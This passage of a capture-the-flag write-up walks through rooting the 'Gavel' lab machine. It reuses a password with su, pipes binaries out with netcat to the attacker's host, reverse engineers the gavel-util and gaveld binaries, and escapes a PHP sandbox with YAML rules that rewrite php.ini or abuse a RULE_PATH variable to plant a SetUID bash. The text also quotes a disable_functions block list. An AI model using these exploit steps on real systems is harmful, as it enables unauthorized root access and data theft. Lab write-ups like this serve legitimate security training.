-rwxr-xr-- 1 root root 35992 Oct  3 19:35 gaveld
-rw-r--r-- 1 root root   364 Sep 20 14:54 sample.yaml
drwxr-x--- 2 root root  4096 Nov  5 12:46 submission

There’s also a binary installed in /usr/local/bin:

www-data@gavel:/usr/local/bin$ ls
gavel-util

I’ll back to both gaveld and gavel-util for root.

Password Reuse

The auctioneer user uses the password midnight1 to log into the website. It does not work over SSH:

oxdf@hacky$ netexec ssh gavel.htb -u auctioneer -p midnight1
SSH         10.129.15.156  22     gavel.htb        [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.13
SSH         10.129.15.156  22     gavel.htb        [-] auctioneer:midnight1

That makes sense, as this user is denied in the SSHd config:

www-data@gavel:/etc/ssh$ cat sshd_config | grep -v '#' | grep .
Include /etc/ssh/sshd_config.d/*.conf
PermitRootLogin yes
KbdInteractiveAuthentication no
UsePAM yes
X11Forwarding yes
PrintMotd no
PrintLastLog no
AcceptEnv LANG LC_*
Subsystem       sftp    /usr/lib/openssh/sftp-server
DenyUsers auctioneer

The DenyUsers keyword is how an admin can prevent SSH for a specific list of users.

The creds do work for su:

www-data@gavel:/$ su - auctioneer
Password: 
auctioneer@gavel:~$

And I can grab user.txt:

auctioneer@gavel:~$ cat user.txt
7e7a3bf9************************

Shell as root

gavel-util

File

gavel-util is a Linux ELF binary:

auctioneer@gavel:~$ file /usr/local/bin/gavel-util 
/usr/local/bin/gavel-util: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=941cf63911b2f8f4cabff61062f2c9ad64f043d6, for GNU/Linux 3.2.0, not stripped

It’s owned by root and the gavel-seller group, and executable and readable by all:

auctioneer@gavel:~$ ls -l /usr/local/bin/gavel-util
-rwxr-xr-x 1 root gavel-seller 17688 Oct  3 19:35 /usr/local/bin/gavel-util

Running it shows it takes one of three commands:

auctioneer@gavel:~$ gavel-util 
Usage: gavel-util <cmd> [options]
Commands:
  submit <file>           Submit new items (YAML format)
  stats                   Show Auction stats
  invoice                 Request invoice

The stats command shows the current and recent auctions:

auctioneer@gavel:~$ gavel-util stats                     
=================== GAVEL AUCTION DASHBOARD ===================

[Active Auctions]
ID   Item Name                      Current Bid   Ends In
1376 Haunted Quill                  965           00:24
1377 Mermaid's Toe                  857           01:02
1378 Goblet of Slight Insight       823           02:48

[Recently Ended Auctions]
ID   Item Name                      Final Price   Winner
1375 Certificate of Authenticity    1692          None
1374 One-Way Portal Key             1710          None
1373 Cloak of Mild Invisibility     1523          None

invoice returns an error:

auctioneer@gavel:~$ gavel-util invoice
{"status":"err","msg":"Cannot open log"}

I’ll try submit using sample.yaml, and it fails:

auctioneer@gavel:~$ gavel-util submit /opt/gavel/sample.yaml 
YAML missing required keys: name description image price rule_msg rule 

I’ll copy it somewhere I can write:

auctioneer@gavel:/tmp$ cp /opt/gavel/sample.yaml .

A bit of tinkering (removing the item: entry that the values nest under in the sample) makes this:

---
name: "Dragon's Feathered Hat"
description: "A flamboyant hat rumored to make dragons jealous."
image: "https://example.com/dragon_hat.png"
price: 10000
rule_msg: "Your bid must be at least 20% higher than the previous bid and sado isn't allowed to buy this item."
rule: "return ($current_bid >= $previous_bid * 1.2) && ($bidder != 'sado');"

And it works:

auctioneer@gavel:/$ gavel-util submit /tmp/sample.yaml                               
Item submitted for review in next auction

Exfil

I’ll start a nc listener and then send the binary back to my host:

auctioneer@gavel:/$ md5sum /usr/local/bin/gavel-util 
5fbc1350c245a610b83841b5c581af86  /usr/local/bin/gavel-util
auctioneer@gavel:/$ cat /usr/local/bin/gavel-util | nc 10.10.14.60 443
^C

There’s a connection at my host:

oxdf@hacky$ nc -lnvp 443 > gavel-util
Listening on 0.0.0.0 443
Connection received on 10.129.15.156 51694

After a second, I’ll Ctrl-c the sender and check the MD5 hash on my host:

oxdf@hacky$ md5sum gavel-util 
5fbc1350c245a610b83841b5c581af86  gavel-util

It matches.

Reverse Engineering

I’ll open it in Ghidra. There are several functions:

All of the work is done in the main function. It starts by checking the args:

  stack_canary = *(long *)(in_FS_OFFSET + 0x28);
  if (argc < 2) {
LAB_0010173c:
    exit_code = 1;
    __fprintf_chk(stderr,1,&usage_msg,*argv);
  }

Then it checks if the first arg is “submit”, and if so, has a block. This block validates that the next arg is a valid file, opens it, and reads it:

    cmd_input = argv[1];
    cmd_str = "submit";
    exit_code = strcmp(cmd_input,"submit");
    if (exit_code == 0) {
      if (argc == 2) {
        exit_code = 1;
        fwrite(&missing_file_error_msg,1,0x27,stderr);
        goto LAB_00101616;
      }
      argv = (char **)argv[2];
      sock_fd = stat((char *)argv,&file_stat);
      exit_code = 0;
      if (sock_fd < 0) {
        perror("stat");
        goto LAB_00101771;
      }
      if ((file_stat.st_mode & 0xf000) != 0x8000) {
        __fprintf_chk(stderr,1,"not a regular file: %s\n",argv);
        goto LAB_00101771;
      }
      if (0xa00000 < file_stat.st_size) {
        fwrite("file too large\n",1,0xf,stderr);
        goto LAB_00101771;
      }
      file = fopen((char *)argv,"rb");
      if (file == (FILE *)0x0) goto LAB_0010192a;
      file_size = file_stat.st_size & 0xffffffff;
      file_buf = malloc(file_size);
      if (file_buf == (void *)0x0) {
        fclose(file);
        goto LAB_00101771;
      }
      bytes_read = fread(file_buf,1,file_size,file);
      if (file_size != bytes_read) {
        fclose(file);
        free(file_buf);
        goto LAB_00101771;
      }
      fclose(file);

The it calls connect_sock() to get a socket. Then it creates a JSON object and parses the YAML file into it, and then sending it over the socket:

      sock_fd = connect_sock();
      if (sock_fd < 0) {
LAB_00101915:
        do {
          die("failed to connect to %s\n","/var/run/gaveld.sock");
LAB_0010192a:
          perror("fopen");
LAB_00101771:
          die("failed to read %s\n",argv);
LAB_00101782:
          sock_fd = connect_sock();
        } while (sock_fd < 0);
        json_req = json_object_new_object();
        json_val = json_object_new_string(cmd_str);
        json_object_object_add(json_req,&op,json_val);
        json_val = json_object_new_string("");
        json_object_object_add(json_req,"flags",json_val);
        json_val = json_object_new_int(0);
        json_object_object_add(json_req,"content_length",json_val);
        json_val = collect_env();
        json_object_object_add(json_req,&env,json_val);
        send_header_and_content(sock_fd,json_req,0,0);
        json_object_put(json_req);
        response = (char *)recv_response(sock_fd);
        if (response != (char *)0x0) goto LAB_00101727;
        fwrite(&no_response_msg,1,0x15,stderr);
      }

All the commands jump to the end to print the response:

LAB_00101727:
      puts(response);
      free(response);
    }
LAB_0010160e:
    close(sock_fd);
  }

The payload generated for “submit” is:

[4-byte big-endian length][JSON: {"op":"submit","content_length":N}][N bytes of YAML]

The first length only applies to the JSON data.

The other two commands are very similar, using the same socket code, just with different commands:

    else {
      cmd_str = "stats";
      exit_code = strcmp(response,"stats");
      if (exit_code == 0) goto LAB_00101782;
      cmd_str = "invoice";
      exit_code = strcmp(response,"invoice");
      if (exit_code != 0) goto LAB_0010173c;
      sock_fd = connect_sock();
      exit_code = 0;
      if (sock_fd < 0) goto LAB_00101915;
      json_req = json_object_new_object();
      json_val = json_object_new_string("invoice");
      json_object_object_add(json_req,&op,json_val);
      json_val = json_object_new_string("");
      json_object_object_add(json_req,"flags",json_val);
      json_val = json_object_new_int(0);
      json_object_object_add(json_req,"content_length",json_val);
      json_val = collect_env();
      json_object_object_add(json_req,&env,json_val);
      send_header_and_content(sock_fd,json_req,0,0);
      json_object_put(json_req);
      response = (char *)recv_response(sock_fd);
      if (response == (char *)0x0) {
        fwrite(&no_response_from_invoice_msg,1,0x21,stderr);
        goto LAB_0010160e;
      }

The on the wire structure is similar to “submit”, just without the YAML:

[4-byte big-endian length][JSON: {"op":"stats"}]
[4-byte big-endian length][JSON: {"op":"invoice"}] 

connect_sock() just creates a connection to a UNIX socket at /var/run/gaveld.sock:

int connect_sock(void)

{
  int sock_fd;
  int connect_ret;
  int result;
  long in_FS_OFFSET;
  undefined1 sun_addr [18];
  undefined8 sun_path_sock;
  undefined8 sun_path_pad1;
  undefined1 sun_path_pad2 [16];
  undefined1 sun_path_pad3 [16];
  undefined1 sun_path_pad4 [16];
  undefined1 sun_path_pad5 [16];
  undefined8 sun_path_pad6;
  undefined2 sun_path_pad7;
  undefined1 sun_path_pad8;
  undefined1 sun_path_end;
  long stack_canary;
  
                    /* Connect to gaveld daemon via Unix socket at /var/run/gaveld.sock. Returns
                       socket fd on success, -1 on failure. */
  stack_canary = *(long *)(in_FS_OFFSET + 0x28);
  sock_fd = socket(1,1,0);
  if (sock_fd < 0) {
    result = -1;
  }
  else {
    sun_path_pad7 = 0;
    sun_addr[2] = '/';
    sun_addr[3] = 'v';
    sun_addr[4] = 'a';
    sun_addr[5] = 'r';
    sun_addr[6] = '/';
    sun_addr[7] = 'r';
    sun_addr[8] = 'u';
    sun_addr[9] = 'n';
                    /* Build sockaddr_un for "/var/run/gaveld.sock" (AF_UNIX). sun_addr[0:2] =
                       AF_UNIX (1), sun_addr[2:] + sun_path_sock = "/var/run/gaveld.sock", rest
                       zeroed. */
    sun_addr._10_8_ = 0x2e646c657661672f;
    sun_path_end = 0;
    sun_addr._0_2_ = 1;
    sun_path_sock = 0x6b636f73;
    sun_path_pad1 = 0;
    sun_path_pad6 = 0;
    sun_path_pad8 = 0;
    sun_path_pad2 = (undefined1  [16])0x0;
    sun_path_pad3 = (undefined1  [16])0x0;
    sun_path_pad4 = (undefined1  [16])0x0;
    sun_path_pad5 = (undefined1  [16])0x0;
    connect_ret = connect(sock_fd,(sockaddr *)sun_addr,0x6e);
    result = sock_fd;
    if (connect_ret < 0) {
      result = -1;
      close(sock_fd);
    }
  }
  if (stack_canary == *(long *)(in_FS_OFFSET + 0x28)) {
    return result;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}

The program is just a way to submit calls to the service run on gaveld.

gaveld

Files

The server application consists of an ELF binary, a submissions directory, and a PHP config:

www-data@gavel:/opt/gavel$ file *
gaveld:      ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=3b8b1b784b45ddabaf9ca56b06b62d4f59f68a0d, for GNU/Linux 3.2.0, not stripped
sample.yaml: ASCII text
submission:  directory
www-data@gavel:/opt/gavel$ file .config/php/php.ini 
.config/php/php.ini: ASCII text

There’s also a sample input file, but this is actually more associated with gavel-util. I’ll dig into the PHP configuration shortly. The sample.yaml file looks like the information for an auction:

---
item:
  name: "Dragon's Feathered Hat"
  description: "A flamboyant hat rumored to make dragons jealous."
  image: "https://example.com/dragon_hat.png"
  price: 10000
  rule_msg: "Your bid must be at least 20% higher than the previous bid and sado isn't allowed to buy this item."
  rule: "return ($current_bid >= $previous_bid * 1.2) && ($bidder != 'sado');"

As noted above, this format doesn’t actually work for gavel-util without some modification.

Exfil

I’ll exfil this file the same way:

auctioneer@gavel:/$ md5sum /opt/gavel/gaveld 
ea2096a074a283828ae5615cddebc8e6  /opt/gavel/gaveld
auctioneer@gavel:/$ cat /opt/gavel/gaveld | nc 10.10.14.60 444
^C

At my host:

oxdf@hacky$ nc -lnvp 444 > gaveld
Listening on 0.0.0.0 444
Connection received on 10.129.15.156 56058
oxdf@hacky$ md5sum gaveld 
ea2096a074a283828ae5615cddebc8e6  gaveld

Reverse Engineering

I’ll load this program into Ghidra as well. This program has only a few functions as well:

The main function is responsible for setting up the listening socket:

void main(void)

{
  uint pid;
  int listen_fd;
  int client_fd;
  __pid_t child_pid;
  time_t seed_time;
  group *grp;
  int *errno_ptr;
  __gid_t gid;
  long in_FS_OFFSET;
  sockaddr bind_addr [6];
  undefined1 addr_pad;
  undefined8 stack_canary;
  
  stack_canary = *(undefined8 *)(in_FS_OFFSET + 0x28);
  seed_time = time((time_t *)0x0);
  pid = getpid();
  srand(pid ^ (uint)seed_time);
  mkdir("/opt/gavel/submission",0x1e8);
  listen_fd = socket(1,1,0);
  if (listen_fd < 0) {
    perror("socket");
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  unlink("/var/run/gaveld.sock");
  addr_pad = 0;
  bind_addr[0].sa_family = 1;
  strncpy(bind_addr[0].sa_data,"/var/run/gaveld.sock",0x6b);
  client_fd = bind(listen_fd,bind_addr,0x6e);
  if (client_fd < 0) {
    perror("bind");
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  client_fd = listen(listen_fd,0x10);
  if (client_fd < 0) {
    perror("listen");
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  grp = getgrnam("gavel-seller");
  if (grp == (group *)0x0) {
    __fprintf_chk(stderr,1,"Group %s not found, defaulting to root:root\n","gavel-seller");
    grp = getgrnam("root");
    gid = 0;
    if (grp == (group *)0x0) goto LAB_00102a7d;
  }
  gid = grp->gr_gid;
LAB_00102a7d:
  client_fd = chown("/var/run/gaveld.sock",0,gid);
  if (client_fd != 0) {
    perror("chown failed on socket");
  }
  client_fd = chmod("/var/run/gaveld.sock",0x1b0);
  if (client_fd != 0) {
    perror("chmod failed on socket");
  }
  while( true ) {
    while( true ) {
      while (client_fd = accept(listen_fd,(sockaddr *)0x0,(socklen_t *)0x0), client_fd < 0) {
        errno_ptr = __errno_location();
        if (*errno_ptr != 4) {
          perror("accept");
          sleep(1);
        }
      }
      child_pid = fork();
      if (-1 < child_pid) break;
      perror("fork");
      close(client_fd);
    }
    if (child_pid == 0) break;
    close(client_fd);
    do {
      child_pid = waitpid(-1,(int *)0x0,1);
    } while (0 < child_pid);
  }
  close(listen_fd);
  handle_conn();
                    /* WARNING: Subroutine does not return */
  _exit(0);
}

This is a standard service pattern of listening on a socket (in this case a UNIX socket which is like a file), waiting in loop for connections, and when one comes, calling fork to start a new process to handle that connection, and in the original process closing the socket and going back to wait for more.

The socket used is /var/run/gaveld.sock, and the program changes the ownership to root:gavel-seller and sets so only root and that group can access it. It also seeds the random number generator and creates the /opt/gavel/submission directory. The connections are handled by handle_conn.

The decompile for handle_conn is 731 lines long, and it’s filled with some junk. The main points are:

• It uses getsockopt(SO_PEERCRED) to get the UID of the connecting process, which it looks up with getpwuid to make sure that they connecting user is in the gavel-seller group, and rejects otherwise.
• Reads a 4-byte big-endian length header, then reads that many bytes of JSON. Parses the JSON and extracts the op field (command) (and content_length if it’s there).
• It branches on the three commands:
  • “submit”
    • Receives YAML content (up to 2MB), parses it with libyaml, and validates that all 6 required keys (name, description, image, price, rule_msg, and rule) are present.
    • The rule string is copied (max 1024 bytes) and passed to php_safe_run() for sandbox validation (using /opt/gavel/.config/php/php.ini). If the rule passes (returns 0), the YAML is saved to /opt/gavel/submission/<hex>.yaml using a secure mkstemp and then rename pattern. If the rule fails, it sends back the sandbox error output.
  • “stats”
    • Connects to MySQL using the creds gavel:gavel.
    • Queries active auctions and recently ended auctions (last 3).
    • Formats a colored table, and sends it back.
  • “invoice”
    • Reads /var/log/gavel_prod.log, parsing lines matching [+] Winner '<name>' received '<item>' via sscanf.
    • Generates a timestamped invoice with all won items, sends it back, and also writes it to invoice.txt.

The php_safe_run function has a complex set of logic at the top that sets the PHP config file:

  env_ojbect = 0;
  json_object_object_get_ex(param_1,&env,&env_ojbect);
  if (((env_ojbect == 0) || (res = json_object_is_type(env_ojbect,4), res == 0)) ||
     (res = json_object_object_get_ex(env_ojbect,"RULE_PATH",&env_RULE_PATH_obj), res == 0)) {
    strncpy(php.ini-path,"/opt/gavel/.config/php/php.ini",0x1000);
    null = 0;
  }
  else {
    env_RULE_PATH_value = (char *)json_object_get_string(env_RULE_PATH_obj.rlim_cur);
    strncpy(php.ini-path,"/opt/gavel/.config/php/php.ini",0x1000);
    null = 0;
    if (((env_RULE_PATH_value != (char *)0x0) && (*env_RULE_PATH_value != '\0')) &&
       ((res = stat(env_RULE_PATH_value,(stat *)local_30d8), res == 0 &&
        (((local_30d8._24_4_ & 0xf000) == 0x8000 && (res = access(env_RULE_PATH_value,4), res == 0))
        )))) {
      strncpy(php.ini-path,env_RULE_PATH_value,0x1000);
      null = 0;
    }
  }

This is something I missed at first, but if it is able to read a path from the RULE_PATH environment variable, it will use that instead of /opt/gavel/.config/php/php.ini, in the strncpy on the last meaningful line in the code above.

php.ini

The php.ini file defines what the PHP code passed in can do when it runs in the sandbox:

engine=On
display_errors=On
display_startup_errors=On
log_errors=Off
error_reporting=E_ALL
open_basedir=/opt/gavel
memory_limit=32M
max_execution_time=3
max_input_time=10
disable_functions=exec,shell_exec,system,passthru,popen,proc_open,proc_close,pcntl_exec,pcntl_fork,dl,ini_set,eval,assert,create_function,preg_replace,unserialize,extract,file_get_contents,fopen,include,require,require_once,include_once,fsockopen,pfsockopen,stream_socket_client
scan_dir=
allow_url_fopen=Off
allow_url_include=Off

The most important items as far as exploiting this are:

Setting	Description
open_basedir=/opt/gavel	I will only be able to interact with files inside the root directory of /opt/gavel.
allow_url_fopen/include=Off	I can't access files remotely (like from my system).
disable_functions	See breakdown below.

disable_functions break down into a few categories:

Category	Disabled Functions
Command execution	exec, shell_exec, system, passthru, popen, proc_open, proc_close, pcntl_exec, pcntl_fork
Code injection	eval, assert, create_function, preg_replace, dl, ini_set
Deserialization / Inclusion	unserialize, extract, include, require, require_once, include_once
File / Network I/O	file_get_contents, fopen, fsockopen, pfsockopen, stream_socket_client

Exploits

I’ll show two ways to abuse this binary. The first is how I initially solved it, using two hops, first overwriting the php.ini file with one that allowed anything, and then running arbitrary PHP. The other is the intended way, seeing the RULE_PATH environment variable in the file and using that to point to a permissive php.ini file.

flowchart TD;
    subgraph identifier[" "]
      direction LR
      start1[ ] --->|intended| stop1[ ]
      style start1 height:0px;
      style stop1 height:0px;
      start2[ ] --->|unintended| stop2[ ]
      style start2 height:0px;
      style stop2 height:0px;
    end
    A[Shell as auctioneer]-->B(<a href='#'>Overwrite default\nphp.ini</a>);
    B-->C(<a href='#'>Run arbitrary PHP</a>);
    C-->E[Shell as root];
    A-->D(<a href='#'>RULE_PATH env to\narbitrary PHP</a>);
    D-->E;

linkStyle default stroke-width:2px,stroke:#FFFF99,fill:none;
linkStyle 1,2,3,4 stroke-width:2px,stroke:#4B9CD3,fill:none;
style identifier fill:#1d1d1d,color:#FFFFFFFF;

Two Hop Exploit

Strategy

I have a simple path to inject PHP by sending YAML file with PHP in the rule field, and it will be run by gaveld with:

execv("/usr/bin/php", ["/usr/bin/php", "-n", "-c", "/opt/gavel/.config/php/php.ini", "-d", "display_errors=1", "-r", <sandbox code>])

-n also means I can’t set an overriding php.ini file and use an environment variable to point at it, which means I’m locked at /opt/gavel/.config/php/php.ini.

The function that is not disabled in the disable_functions is file_put_contents, which means I can write within /opt/gavel. The binary also calls execv for each new submission, which means if I can change the php.ini, it will use the changed configuration on the next run. With an updated php.ini file, I’ll be able to run system, and use another run to get a shell as root.

Step 1: php.ini

I’ll write a YAML file that uses file_put_contents in the rule to overwrite the php.ini file:

name: "replace ini"
description: "pwn step 1"
image: "https://0xdf.gitlab.io/image.png"
price: 100000
rule_msg: "oops, new php.ini"
rule: "file_put_contents('/opt/gavel/.config/php/php.ini', \"engine=On\nopen_basedir=\ndisable_functions=\n\"); return false;"

I’ll submit that:

auctioneer@gavel:/dev/shm$ gavel-util submit ini.yaml 
Item submitted for review in next auction

And now the php.ini file is my basic config:

auctioneer@gavel:/dev/shm$ cat /opt/gavel/.config/php/php.ini 
engine=On
open_basedir=
disable_functions=

Step 2: SetUID / SetGID bash

I’ll create a second YAML file:

name: "privesc"
description: "pwn step 2"
image: "https://0xdf.gitlab.io/image.png"
price: 100000
rule_msg: "oops, fancy bash"
rule: "system('cp /bin/bash /home/auctioneer/0xdf; chmod 6777 /home/auctioneer/0xdf;'); return false;"

This will create a SetUID / SetGID copy of bash in auctioneer’s home directory. Typically I would use /tmp or /var/tmp, but these don’t work for me, and I’ll dig into that in Beyond Root.

When I run this one, it reports success:

auctioneer@gavel:/dev/shm$ gavel-util submit setuid.yaml 
Item submitted for review in next auction

And there is a privileges bash in auctioneer’s home directory:

auctioneer@gavel:/dev/shm$ ls -l ~
total 1368
-rwsrwsrwx 1 root root       1396520 Mar  6 23:00 0xdf
-rw-r----- 1 root auctioneer      33 Mar  5 12:23 user.txt

I’ll run with -p to not drop privs, and get a root shell:

auctioneer@gavel:/dev/shm$ ~/0xdf -p
0xdf-5.1# 

And root.txt:

0xdf-5.1# cat /root/root.txt
ac449272************************

RULE_PATH Exploit

I’ll write the same basic php.ini file in /dev/shm:

auctioneer@gavel:/dev/shm$ cat php.ini 
engine=On
open_basedir=
disable_functions=

I’ll also write a YAML file:

name: "privesc"
description: "pwn again"
image: "https://0xdf.gitlab.io/image.png"
price: 100000
rule_msg: "oops, fancy bash"
rule: "system('cp /bin/bash /home/auctioneer/0xdf2; chmod 6777 /home/auctioneer/0xdf2;'); return false;"

This one creates another SetUID / SetGID bash. If I try to run it normally, it fails:

auctioneer@gavel:/dev/shm$ gavel-util submit ./setuid.yaml 
Illegal rule or sandbox violation.
Warning: system() has been disabled for security reasons in Command line code on line 1

However, if I set the RULE_PATH environment variable, it works:

auctioneer@gavel:/dev/shm$ RULE_PATH=/dev/shm/php.ini gavel-util submit ./setuid.yaml 
Item submitted for review in next auction

And now 0xdf2 is present and SetUID / SetGID:

auctioneer@gavel:~$ ls -l 0xdf2 
-rwsrwsrwx 1 root root 1396520 Mar 11 00:29 0xdf2

And I can get a shell:

auctioneer@gavel:~$ ./0xdf2 -p
0xdf2-5.1#

Beyond Root - tmp Sandboxes

The first time I attempted to run the second half of the root exploit, I targeted /tmp/0xdf for my resulting SetUID / SetGID bash:

name: "privesc"
description: "pwn step 2"
image: "https://0xdf.gitlab.io/image.png"
price: 100000
rule_msg: "oops, fancy bash"
rule: "system('cp /bin/bash /tmp/0xdf; chmod 6777 /tmp/0xdf;'); return false;"

I’ll use /tmp because /dev/shm is mounted nosuid, whereas /tmp and /var/tmp are not:

auctioneer@gavel:/$ mount | grep -e shm -e /tmp
tmpfs on /dev/shm type tmpfs (rw,nosuid,nodev,inode64)
/dev/sda2 on /tmp type ext4 (rw,relatime)
/dev/sda2 on /var/tmp type ext4 (rw,relatime)

I’ll run it, but nothing happens. /tmp doesn’t show any payload. Even after getting a root shell with a privileged bash in /home/auctioneer, /tmp still looks empty:

0xdf-5.1# ls -l /tmp/
total 0

That should be a tip. /tmp is rarely ever completely empty. I’ll use this root shell to go into /root/.ssh and write an authorized_keys file with my SSH public key. Then I can get a shell as root over SSH:

oxdf@hacky$ ssh -i ~/keys/ed25519_gen root@gavel.htb
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-161-generic x86_64)
...[snip]...
root@gavel:~#

Not only is 0xdf in /tmp, but it’s SetUID / SetGID:

root@gavel:/tmp# ls -l 
total 1384
-rwsrwsrwx 1 root root 1396520 Mar  6 23:04 0xdf
drwx------ 3 root root    4096 Mar  5 12:20 systemd-private-2834f7aebf294e4598d037a15eded699-apache2.service-TiPx9c
drwx------ 3 root root    4096 Mar  5 12:20 systemd-private-2834f7aebf294e4598d037a15eded699-ModemManager.service-XFiHHh
drwx------ 3 root root    4096 Mar  5 12:20 systemd-private-2834f7aebf294e4598d037a15eded699-systemd-logind.service-3Desce
drwx------ 3 root root    4096 Mar  5 12:20 systemd-private-2834f7aebf294e4598d037a15eded699-systemd-resolved.service-zyQ9Jf
drwx------ 3 root root    4096 Mar  5 21:22 systemd-private-2834f7aebf294e4598d037a15eded699-upower.service-mbFf7A

The issue is that Apache is running with PrivateTmp, which is set in the Apache service config:

root@gavel:/var/tmp# systemctl cat apache2
# /lib/systemd/system/apache2.service
[Unit]
Description=The Apache HTTP Server
After=network.target remote-fs.target nss-lookup.target
root@gavel:/var/tmp# systemctl cat apache2 | cat
# /lib/systemd/system/apache2.service
[Unit]
Description=The Apache HTTP Server
After=network.target remote-fs.target nss-lookup.target
Documentation=https://httpd.apache.org/docs/2.4/

[Service]
Type=forking
Environment=APACHE_STARTED_BY_SYSTEMD=true
ExecStart=/usr/sbin/apachectl start
ExecStop=/usr/sbin/apachectl graceful-stop
ExecReload=/usr/sbin/apachectl graceful
KillMode=mixed
PrivateTmp=true
Restart=on-abort

[Install]
WantedBy=multi-user.target

So as www-data, or auctioneer when su is run as www-data, or even root when that process runs the SetUID / SetGID shell, all of these are locked into a private tmp. So that process has /tmp/systemd-private-2834f7aebf294e4598d037a15eded699-apache2.service-TiPx9c mounted over /tmp (there’s a similar behavior in /var/tmp).

gaveld doesn’t run in the same (or any) private tmp, so it just writes to /tmp. But as a process descending from Apache, I can’t access that folder, and thus I can’t see it.